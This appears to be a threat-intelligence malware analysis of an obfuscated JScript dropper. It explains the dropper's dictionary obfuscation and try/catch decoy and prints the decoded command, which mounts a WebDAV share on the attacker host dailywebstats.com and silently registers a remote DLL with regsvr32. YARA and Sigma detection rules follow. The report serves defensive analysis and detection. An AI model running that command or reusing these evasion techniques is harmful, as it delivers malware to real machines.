unclassified-js-webdav-dropper: 093a56f6 — 62-entry noise-key dictionary (yvyb), dailywebstats.com C2, PowerShell EncodedCommand wrapper

Executive Summary

9.3 KB single-line JScript dropper that hides its payload behind a 62-entry character lookup table with random noise key names. Decoded, it spawns powershell.exe -EncodedCommand to mount a WebDAV share (dailywebstats.com:8888) and silently register a remote DLL via regsvr32 /s. Seventy-second confirmed sibling in the unclassified-js-webdav-dropper cluster; execution engine is identical to prior dailywebstats.com dictionary variants, only the key set and payload filename differ.

What It Is

Family attribution: unclassified-js-webdav-dropper. Seventy-second confirmed sibling. Shares the same execution chain (net use + regsvr32 /s over WebDAV via PowerShell -EncodedCommand) and the same C2 host (dailywebstats.com:8888) as siblings e6ebae6a, cc90d6c, ccb2d007, 6b7435afd70e, 6f72a3a9, 58d9398a, 5931df0b, 35eea343, and 385c2f05. The only deltas are the dictionary key strings, the object name (yvyb), and the payload DLL filename. Confidence: high.

How It Works

Layer 1 — Dictionary lookup table

The first ~9 KB of the file is a single line defining 62 key/value pairs in a JScript associative array named yvyb: random noise keys (8–20 lowercase characters, no semantic content) map to single printable characters. ^[strings.txt] Every ASCII letter (upper and lower), digit, and common punctuation mark needed for the payload is present.

Layer 2 — String concatenation via Function() constructor

The remainder of the file wraps the assembled payload in Function(''+ ... )()['WScript']['CreateObject']('WScript.Shell')['run'](...), a self-referential global-object construction to reach WScript without typing the literal. ^[strings.txt:1]

The actual command is assembled from concatenated dictionary lookups. Decoded Base64 (UTF-16-LE) reveals:

net use \\dailywebstats.com@8888\davwwwroot\ ; regsvr32 /s \\dailywebstats.com@8888\davwwwroot\17856160893235.dll

No sandbox gates. No debugger checks. No connectivity checks. No persistence. One-shot dropper.

Decompiled Behavior

Not applicable — script source is fully available. Static deobfuscation (Python re + base64) suffices. No compiled binary sections to analyze. CAPE skipped because the file is plain text. ^[dynamic-analysis.md]

C2 Infrastructure

DNS/hosting: dailywebstats.com is a recurring C2 host in this cluster, observed across nine prior siblings. The payload filename 17856160893235.dll follows the numeric/timestamp pattern seen throughout the family.

Interesting Tidbits

• Hand-written obfuscation. No commercial obfuscator signature. The dictionary is assembled by a simple template engine that assigns random noise strings to characters. ^[strings.txt]
• Function('return this')() idiom. Same global-object construction trick seen across the entire dictionary-dialect sub-cluster. ^[strings.txt:1]
• Try/catch decoy. The payload sits in a catch block triggered by try{nbcqk();} — a deliberately missing function. Static analyzers following only the try branch miss the real behavior.
• Single-line delivery. The entire 9.3 KB file is one line (9,325 chars, no line terminators). ^[file.txt] Delivered as an email attachment or download where line breaks would be suspicious.
• Smallest dictionary-dialect sibling. At 9.3 KB this is notably smaller than the 15 KB e6ebae6a sibling, suggesting the generator may have been tuned for compactness or the payload string is shorter.
• No wordpad decoy, no sandbox gate, no polyglot layer. Pure JScript dictionary variant with PowerShell wrapper — the simplest form of the dictionary dialect.

Deployable Signatures

YARA rule

rule JS_Dictionary_WebDAV_Dropper_093a56f6 {
    meta:
        author = "PacketPursuit"
        description = "JScript dropper with 62-entry noise-key dictionary obfuscation and WebDAV payload"
        family = "unclassified-js-webdav-dropper"
        confidence = "high"
        date = "2026-07-15"
    strings:
        $dict_start = "yvyb=[];yvyb['"
        $function_constructor = "Function(''+"
        $wscript_shell = "'WScript.Shell'"
        $encoded_cmd = "-EncodedCommand"
        $davwwwroot = "DavWWWRoot" nocase
        $regsvr32 = "regsvr32"
    condition:
        filesize < 30KB and
        $dict_start and
        $function_constructor and
        $wscript_shell and
        ($encoded_cmd or ($davwwwroot and $regsvr32))
}

Behavioral hunt query (Sigma — process_creation)

title: WebDAV Regsvr32 DLL Loading — dailywebstats.com
description: Detects regsvr32 loading a DLL from a WebDAV UNC path on dailywebstats.com
status: experimental
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains:
            - 'dailywebstats.com'
            - 'DavWWWRoot'
        Image|endswith: '\regsvr32.exe'
    condition: selection
falsepositives:
    - Unknown
level: high

IOC list

Behavioral fingerprint statement

A 9.3 KB single-line JScript file opens via WScript, triggers a catch block on a deliberately missing function (nbcqk), constructs WScript.Shell via the Function('return this')() global trick, then passes a UTF-16-LE Base64-encoded PowerShell command to powershell.exe -EncodedCommand. The decoded command mounts dailywebstats.com:8888 via WebDAV and silently registers 17856160893235.dll via regsvr32 /s. No persistence, no sandbox evasion, no anti-debug. One-shot payload delivery with 62-entry random-noise dictionary obfuscation.

Detection Signatures

References

• Artifact ID: e51805ce-a4ee-4076-9c2b-324057ba06bd
• Source: OpenCTI (abuse.ch MalwareBazaar connector)
• Related family page: unclassified-js-webdav-dropper
• Related technique page: webdav-regsvr32-dll-sideloading
• Related technique page: js-dictionary-char-lookup-obfuscation

Provenance